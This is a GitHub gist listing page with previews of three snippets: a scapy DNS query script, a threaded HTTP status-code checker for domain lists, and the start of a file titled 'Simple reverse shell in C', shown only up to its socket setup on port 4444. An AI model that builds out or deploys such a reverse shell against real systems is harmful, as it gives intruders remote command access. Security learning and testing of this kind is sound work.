Skip to content

Instantly share code, notes, and snippets.

@zPrototype
zPrototype / dnsResolve.py
Last active February 14, 2020 10:32
Fun with scapy
from scapy.all import *
def emptyLine():
print("****************************************")
Url = input("Enter domain name: ")
emptyLine()
dnsResponse = sr1(IP(dst="8.8.8.8") / UDP(dport=53) / DNS(rd=1, qd=DNSQR(qname=Url)))
@zPrototype
zPrototype / statusCodeGetter.py
Last active April 25, 2020 02:13
Python script to get status codes
import requests
import time
import argparse
from concurrent.futures import ThreadPoolExecutor
parser = argparse.ArgumentParser()
parser.add_argument("-f", "--file", action="store", help="Enter path to domainfile")
parser.add_argument("-t", "--threads", action="store", help="Enter the number of threads you want to use")
args = parser.parse_args()
@zPrototype
zPrototype / revShell.c
Last active August 24, 2022 17:11
Simple reverse shell in C
#include <sys/socket.h>
#include <unistd.h>
#include <netinet/in.h>
#include <arpa/inet.h>
int main(void)
{
int sock;
int port = 4444;
struct sockaddr_in revsockaddr;